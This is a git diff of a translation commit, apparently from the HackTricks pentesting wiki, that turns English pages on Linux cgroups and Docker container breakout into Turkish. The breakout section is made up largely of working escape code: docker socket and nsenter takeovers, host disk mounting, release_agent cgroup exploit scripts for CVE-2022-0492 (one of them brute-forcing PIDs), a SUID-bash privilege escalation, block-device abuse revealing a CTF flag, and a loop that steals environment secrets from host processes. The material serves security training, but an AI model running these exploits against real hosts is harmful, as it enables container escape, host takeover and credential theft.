Yeni hiyerarşik organizasyona ek olarak, cgroups versiyon 2 ayrıca **birçok başka değişiklik ve iyileştirme** de tanıtmıştır; bunlar arasında **yeni kaynak denetleyicileri** için destek, eski uygulamalar için daha iyi destek ve geliştirilmiş performans bulunmaktadır.
|
||||
|
||||
Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern.
|
||||
|
||||
You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\<pid>. You can start by looking at your shell’s cgroups with this command:
|
||||
Genel olarak, cgroups **versiyon 2, versiyon 1'den daha fazla özellik ve daha iyi performans** sunar, ancak eski sistemlerle uyumluluğun önemli olduğu belirli senaryolarda hala kullanılabilir.
|
||||
|
||||
Herhangi bir sürecin v1 ve v2 cgroups'ını, /proc/\<pid> içindeki cgroup dosyasına bakarak listeleyebilirsiniz. Bu komutla shell'inizin cgroups'ına bakarak başlayabilirsiniz:
|
||||
```shell-session
|
||||
$ cat /proc/self/cgroup
|
||||
12:rdma:/
|
||||
@ -28,60 +27,53 @@ $ cat /proc/self/cgroup
|
||||
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
|
||||
0::/user.slice/user-1000.slice/session-2.scope
|
||||
```
|
||||
Çıktı yapısı şu şekildedir:
|
||||
|
||||
The output structure is as follows:
|
||||
- **Sayılar 2–12**: cgroups v1, her bir satır farklı bir cgroup'u temsil eder. Bunlar için kontrolörler sayının yanında belirtilmiştir.
|
||||
- **Sayı 1**: Ayrıca cgroups v1, ancak yalnızca yönetim amaçları için (örneğin, systemd tarafından ayarlanmış) ve bir kontrolör içermez.
|
||||
- **Sayı 0**: cgroups v2'yi temsil eder. Hiçbir kontrolör listelenmez ve bu satır yalnızca cgroups v2 çalışan sistemlerde özeldir.
|
||||
- **İsimler hiyerarşiktir**, dosya yollarına benzer, farklı cgroup'lar arasındaki yapı ve ilişkiyi gösterir.
|
||||
- **/user.slice veya /system.slice** gibi isimler cgroup'ların kategorisini belirtir; user.slice genellikle systemd tarafından yönetilen oturumlar için ve system.slice sistem hizmetleri içindir.
|
||||
|
||||
- **Numbers 2–12**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number.
|
||||
- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller.
|
||||
- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2.
|
||||
- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups.
|
||||
- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services.
|
||||
### Cgroup'ları Görüntüleme
|
||||
|
||||
### Viewing cgroups
|
||||
Dosya sistemi genellikle **cgroup'lara** erişim için kullanılır, bu da geleneksel olarak çekirdek etkileşimleri için kullanılan Unix sistem çağrısı arayüzünden farklıdır. Bir shell'in cgroup yapılandırmasını incelemek için, shell'in cgroup'unu gösteren **/proc/self/cgroup** dosyasına bakılmalıdır. Ardından, **/sys/fs/cgroup** (veya **`/sys/fs/cgroup/unified`**) dizinine giderek cgroup'un adıyla aynı isme sahip bir dizin bulduğunda, cgroup ile ilgili çeşitli ayarları ve kaynak kullanım bilgilerini gözlemleyebilir.
|
||||
|
||||
The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup.
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information.
|
||||
Cgroup'lar için ana arayüz dosyaları **cgroup** ile başlar. **cgroup.procs** dosyası, cgroup içindeki süreçleri listeleyen standart komutlarla görüntülenebilir. Diğer bir dosya, **cgroup.threads**, thread bilgilerini içerir.
|
||||
|
||||
.png>)
|
||||
|
||||
Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup.
|
||||
Shell'leri yöneten cgroup'lar genellikle bellek kullanımını ve süreç sayısını düzenleyen iki kontrolör içerir. Bir kontrolörle etkileşimde bulunmak için, kontrolörün ön eki ile başlayan dosyalar incelenmelidir. Örneğin, cgroup içindeki thread sayısını belirlemek için **pids.current** dosyasına başvurulmalıdır.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy.
|
||||
Bir değerde **max** ifadesinin bulunması, cgroup için belirli bir sınırın olmadığını gösterir. Ancak, cgroup'ların hiyerarşik doğası nedeniyle, daha alt seviyedeki bir cgroup tarafından sınırlar uygulanabilir.
|
||||
|
||||
### Manipulating and Creating cgroups
|
||||
|
||||
Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process:
|
||||
### Cgroup'ları Manipüle Etme ve Oluşturma
|
||||
|
||||
Süreçler, **Process ID (PID) değerini `cgroup.procs` dosyasına yazarak** cgroup'lara atanır. Bu, root ayrıcalıkları gerektirir. Örneğin, bir süreci eklemek için:
|
||||
```bash
|
||||
echo [pid] > cgroup.procs
|
||||
```
|
||||
|
||||
Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup:
|
||||
|
||||
Benzer şekilde, **cgroup özelliklerini değiştirmek, örneğin bir PID sınırı ayarlamak**, istenen değeri ilgili dosyaya yazarak yapılır. Bir cgroup için maksimum 3,000 PID ayarlamak için:
|
||||
```bash
|
||||
echo 3000 > pids.max
|
||||
```
|
||||
**Yeni cgroup'lar oluşturmak**, cgroup hiyerarşisi içinde yeni bir alt dizin oluşturmayı içerir; bu, çekirdeğin gerekli arayüz dosyalarını otomatik olarak oluşturmasını sağlar. Aktif süreçleri olmayan cgroup'lar `rmdir` ile kaldırılabilir, ancak bazı kısıtlamaların farkında olun:
|
||||
|
||||
**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints:
|
||||
|
||||
- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy).
|
||||
- **A cgroup cannot possess a controller absent in its parent**.
|
||||
- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup:
|
||||
|
||||
- **Süreçler yalnızca yaprak cgroup'lara yerleştirilebilir** (yani, bir hiyerarşide en çok iç içe geçmiş olanlar).
|
||||
- **Bir cgroup, ebeveyninde bulunmayan bir kontrolöre sahip olamaz**.
|
||||
- **Çocuk cgroup'lar için kontrolörler, `cgroup.subtree_control` dosyasında açıkça belirtilmelidir**. Örneğin, bir çocuk cgroup'ta CPU ve PID kontrolörlerini etkinleştirmek için:
|
||||
```bash
|
||||
echo "+cpu +pids" > cgroup.subtree_control
|
||||
```
|
||||
**root cgroup**, bu kurallara bir istisnadır ve doğrudan işlem yerleştirmeye izin verir. Bu, sistemd yönetiminden işlemleri kaldırmak için kullanılabilir.
|
||||
|
||||
The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management.
|
||||
**Bir cgroup içindeki CPU kullanımını** izlemek, toplam tüketilen CPU zamanını gösteren `cpu.stat` dosyası aracılığıyla mümkündür; bu, bir hizmetin alt süreçleri arasındaki kullanımı takip etmek için faydalıdır:
|
||||
|
||||
**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses:
|
||||
|
||||
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>CPU usage statistics as shown in the cpu.stat file</p></figcaption></figure>
|
||||
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>cpu.stat dosyasında gösterilen CPU kullanım istatistikleri</p></figcaption></figure>
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -2,35 +2,24 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
## Otomatik Sayım & Kaçış
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri sayabilir**
|
||||
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, bulunduğunuz konteyneri saymak ve otomatik olarak kaçış denemeleri yapmak için oldukça **yararlıdır**
|
||||
- [**amicontained**](https://github.com/genuinetools/amicontained): Kaçış yollarını bulmak için konteynerin sahip olduğu ayrıcalıkları elde etmek için yararlı bir araç
|
||||
- [**deepce**](https://github.com/stealthcopter/deepce): Konteynerlerden sayım yapmak ve kaçış sağlamak için bir araç
|
||||
- [**grype**](https://github.com/anchore/grype): Görüntüde yüklü yazılımlarda bulunan CVE'leri almak için
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
|
||||
|
||||
## Automatic Enumeration & Escape
|
||||
|
||||
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers**
|
||||
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically**
|
||||
- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it
|
||||
- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
|
||||
- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
|
||||
|
||||
## Mounted Docker Socket Escape
|
||||
|
||||
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
|
||||
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
|
||||
## Montelenmiş Docker Soketi Kaçışı
|
||||
|
||||
Eğer bir şekilde **docker soketinin** docker konteyneri içinde montelendiğini bulursanız, oradan kaçış yapabileceksiniz.\
|
||||
Bu genellikle, bir nedenle docker daemon ile bağlantı kurması gereken docker konteynerlerinde olur.
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
|
||||
In this case you can use regular docker commands to communicate with the docker daemon:
|
||||
|
||||
Bu durumda, docker daemon ile iletişim kurmak için normal docker komutlarını kullanabilirsiniz:
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
||||
# Get full privs in container without --privileged
|
||||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
> [!NOTE]
|
||||
> Eğer **docker soketi beklenmedik bir yerdeyse** yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak onunla iletişim kurabilirsiniz.
|
||||
|
||||
Docker daemon ayrıca [bir portta dinliyor olabilir (varsayılan olarak 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) veya Systemd tabanlı sistemlerde, Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir.
|
||||
|
||||
> [!NOTE]
|
||||
> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
|
||||
|
||||
Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`.
|
||||
|
||||
> [!NOTE]
|
||||
> Additionally, pay attention to the runtime sockets of other high-level runtimes:
|
||||
> Ayrıca, diğer yüksek seviyeli çalışma zamanlarının çalışma zamanı soketlerine dikkat edin:
|
||||
>
|
||||
> - dockershim: `unix:///var/run/dockershim.sock`
|
||||
> - containerd: `unix:///run/containerd/containerd.sock`
|
||||
@ -60,25 +48,23 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../
|
||||
> - rktlet: `unix:///var/run/rktlet.sock`
|
||||
> - ...
|
||||
|
||||
## Capabilities Abuse Escape
|
||||
## Yeteneklerin Kötüye Kullanımı ile Kaçış
|
||||
|
||||
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
You can check currently container capabilities using **previously mentioned automatic tools** or:
|
||||
Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdakilerden herhangi birine sahipse, ondan kaçış yapabilirsiniz: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
Mevcut konteyner yeteneklerini **daha önce bahsedilen otomatik araçlar** ile veya kontrol edebilirsiniz:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
|
||||
In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges:
|
||||
Aşağıdaki sayfada **linux yetenekleri hakkında daha fazla bilgi edinebilir** ve bunları nasıl kötüye kullanarak yetki kaçışı/yükseltmesi yapabileceğinizi öğrenebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../../linux-capabilities.md
|
||||
{{#endref}}
|
||||
|
||||
## Escape from Privileged Containers
|
||||
## Yetkili Konteynerlerden Kaçış
|
||||
|
||||
A privileged container can be created with the flag `--privileged` or disabling specific defenses:
|
||||
Yetkili bir konteyner `--privileged` bayrağı ile veya belirli savunmaları devre dışı bırakarak oluşturulabilir:
|
||||
|
||||
- `--cap-add=ALL`
|
||||
- `--security-opt apparmor=unconfined`
|
||||
@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling
|
||||
- `--cgroupns=host`
|
||||
- `Mount /dev`
|
||||
|
||||
The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts.
|
||||
`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde azaltarak **kısıtlamasız cihaz erişimi** sağlar ve **birçok korumayı** atlatır. Detaylı bir inceleme için `--privileged`'in tam etkileri ile ilgili belgeleri inceleyin.
|
||||
|
||||
{{#ref}}
|
||||
../docker-privileged.md
|
||||
{{#endref}}
|
||||
|
||||
### Privileged + hostPID
|
||||
### Yetkili + hostPID
|
||||
|
||||
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
Test it in a container executing:
|
||||
Bu izinlerle, sadece **host'ta root olarak çalışan bir sürecin ad alanına geçebilirsiniz**; örneğin init (pid:1) sadece şunu çalıştırarak: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
Bunu bir konteynerde test edin:
|
||||
```bash
|
||||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||||
```
|
||||
### Ayrıcalıklı
|
||||
|
||||
### Privileged
|
||||
|
||||
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**.
|
||||
|
||||
Test the following bypasses in a container executing:
|
||||
Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskine erişmeye** veya **release_agent veya diğer kaçışları kötüye kullanarak kaçmaya** çalışabilirsiniz.
|
||||
|
||||
Aşağıdaki atlatmaları bir konteynerde çalıştırarak test edin:
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### Diski Montajlama - Poc1
|
||||
|
||||
#### Mounting Disk - Poc1
|
||||
|
||||
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
|
||||
İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak, `--privileged` veya `--device=/dev/sda1` bayrağı büyük harfle belirtilmiş yanlış yapılandırılmış docker komutlarında, ana makine sürücüsünü görme ayrıcalıklarını elde etmek mümkündür.
|
||||
|
||||

|
||||
|
||||
So to take over the host machine, it is trivial:
|
||||
|
||||
Bu nedenle, ana makineyi ele geçirmek oldukça basittir:
|
||||
```bash
|
||||
mkdir -p /mnt/hola
|
||||
mount /dev/sda1 /mnt/hola
|
||||
```
|
||||
Ve işte! Artık ana bilgisayarın dosya sistemine erişebilirsiniz çünkü bu, `/mnt/hola` klasörüne monte edilmiştir.
|
||||
|
||||
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
|
||||
|
||||
#### Mounting Disk - Poc2
|
||||
|
||||
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
|
||||
#### Disk Montajı - Poc2
|
||||
|
||||
Konteyner içinde, bir saldırgan, küme tarafından oluşturulan yazılabilir bir hostPath hacmi aracılığıyla altındaki ana işletim sistemine daha fazla erişim sağlamaya çalışabilir. Aşağıda, bu saldırgan vektörünü kullanıp kullanamayacağınızı görmek için konteyner içinde kontrol edebileceğiniz bazı yaygın şeyler bulunmaktadır:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
||||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
|
||||
#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
|
||||
#### Yetki Kaçırma Mevcut release_agent'i istismar etme ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
```bash:Initial PoC
|
||||
# spawn a new container to exploit via:
|
||||
# docker run --rm -it --privileged ubuntu bash
|
||||
@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
||||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
|
||||
#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
|
||||
#### Yetki Kaçırma, oluşturulan release_agent'i istismar etme ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
```bash:Second PoC
|
||||
# On the host
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
@ -235,21 +210,17 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
|
||||
Find an **explanation of the technique** in:
|
||||
|
||||
{{#ref}}
|
||||
docker-release_agent-cgroups-escape.md
|
||||
{{#endref}}
|
||||
|
||||
#### Privileged Escape Abusing release_agent without known the relative path - PoC3
|
||||
#### Yetkili Kaçış release_agent'i göreli yolu bilmeden istismar etme - PoC3
|
||||
|
||||
In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the container inside the host** you can use this technique:
|
||||
Önceki istismarlar da **konteynerin ana bilgisayarın dosya sistemindeki mutlak yolu ifşa edilmiştir**. Ancak, bu her zaman böyle değildir. Ana bilgisayar içindeki konteynerin **mutlak yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
release_agent-exploit-relative-paths-to-pids.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
@ -288,20 +259,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
||||
TPID=1
|
||||
while [ ! -f ${OUTPUT_PATH} ]
|
||||
do
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
done
|
||||
|
||||
# Wait for and cat the output
|
||||
@ -309,9 +280,7 @@ sleep 1
|
||||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
|
||||
Executing the PoC within a privileged container should provide output similar to:
|
||||
|
||||
Yetkili bir konteyner içinde PoC'yi çalıştırmak, aşağıdakine benzer bir çıktı sağlamalıdır:
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
@ -339,37 +308,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
||||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### Ayrıcalıklı Kaçış Hassas Montajların İstismarı
|
||||
|
||||
#### Privileged Escape Abusing Sensitive Mounts
|
||||
Montaj yapılabilecek birkaç dosya vardır ki bunlar **altındaki ana makine hakkında bilgi verir**. Bunlardan bazıları, **bir şey olduğunda ana makine tarafından yürütülecek bir şeyi gösterebilir** (bu, bir saldırganın konteynerden kaçmasına izin verecektir).\
|
||||
Bu dosyaların istismarı şunları mümkün kılabilir:
|
||||
|
||||
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
|
||||
The abuse of these files may allow that:
|
||||
|
||||
- release_agent (already covered before)
|
||||
- release_agent (daha önce ele alındı)
|
||||
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
|
||||
- [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
|
||||
- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
|
||||
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
However, you can find **other sensitive files** to check for in this page:
|
||||
Ancak, bu sayfada kontrol edilecek **diğer hassas dosyalar** bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
sensitive-mounts.md
|
||||
{{#endref}}
|
||||
|
||||
### Arbitrary Mounts
|
||||
|
||||
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys…
|
||||
### Keyfi Montajlar
|
||||
|
||||
Birçok durumda, **konteynerin ana makineden bazı hacimlerin montajlı olduğunu** göreceksiniz. Eğer bu hacim doğru bir şekilde yapılandırılmamışsa, **hassas verilere erişim/değişiklik yapma** imkanınız olabilir: Gizli bilgileri okuyun, ssh authorized_keys'i değiştirin…
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### İki shell ve host mount ile Yetki Yükseltme
|
||||
|
||||
### Privilege Escalation with 2 shells and host mount
|
||||
|
||||
If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
|
||||
You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.
|
||||
|
||||
Eğer bir **konteyner içinde root erişiminiz** varsa ve host'tan bazı klasörler mount edilmişse ve **host'a yetkisiz bir kullanıcı olarak kaçtıysanız** ve mount edilmiş klasör üzerinde okuma erişiminiz varsa.\
|
||||
Konteyner içindeki **mount edilmiş klasörde** bir **bash suid dosyası** oluşturabilir ve **host'tan çalıştırarak** yetki yükseltebilirsiniz.
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
@ -377,16 +342,14 @@ chown root:root bash #From container as root inside mounted folder
|
||||
chmod 4777 bash #From container as root inside mounted folder
|
||||
bash -p #From non priv inside mounted folder
|
||||
```
|
||||
### İki shell ile Yetki Yükseltme
|
||||
|
||||
### Privilege Escalation with 2 shells
|
||||
Eğer bir **konteyner içinde root olarak erişiminiz** varsa ve **host'a yetkisiz bir kullanıcı olarak kaçtıysanız**, her iki shell'i de **host içinde privesc için kullanabilirsiniz** eğer konteyner içinde MKNOD yeteneğine sahipseniz (varsayılan olarak vardır) [**bu yazıda açıklandığı gibi**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Bu yetenekle konteyner içindeki root kullanıcısı **blok cihaz dosyaları oluşturma** iznine sahiptir. Cihaz dosyaları, **temel donanım ve çekirdek modüllerine erişmek için** kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistem diskindeki ham verilere erişim sağlar**.
|
||||
|
||||
If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**.
|
||||
|
||||
Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container.
|
||||
|
||||
**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
Docker, konteynerler içinde blok cihaz kötüye kullanımına karşı, **blok cihaz okuma/yazma işlemlerini engelleyen** bir cgroup politikası uygulayarak koruma sağlar. Ancak, eğer bir blok cihaz **konteyner içinde oluşturulursa**, bu cihaz konteyner dışından **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, **işlem sahibinin hem konteyner içinde hem de dışında aynı olması** gerektirir.
|
||||
|
||||
**Sömürü** örneği bu [**yazıdan**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
@ -422,19 +385,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_
|
||||
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
|
||||
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
||||
```
|
||||
|
||||
### hostPID
|
||||
|
||||
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
|
||||
|
||||
Eğer ana makinenin süreçlerine erişiminiz varsa, bu süreçlerde saklanan birçok hassas bilgiye erişebileceksiniz. Test laboratuvarını çalıştırın:
|
||||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
Örneğin, `ps auxn` gibi bir şey kullanarak süreçleri listeleyebilir ve komutlarda hassas ayrıntıları arayabilirsiniz.
|
||||
|
||||
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands.
|
||||
|
||||
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
|
||||
|
||||
Sonra, **/proc/ içindeki her bir host sürecine erişebildiğiniz için, sadece env gizli anahtarlarını çalabilirsiniz**:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
@ -443,9 +402,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
||||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
|
||||
You can also **access other processes file descriptors and read their open files**:
|
||||
|
||||
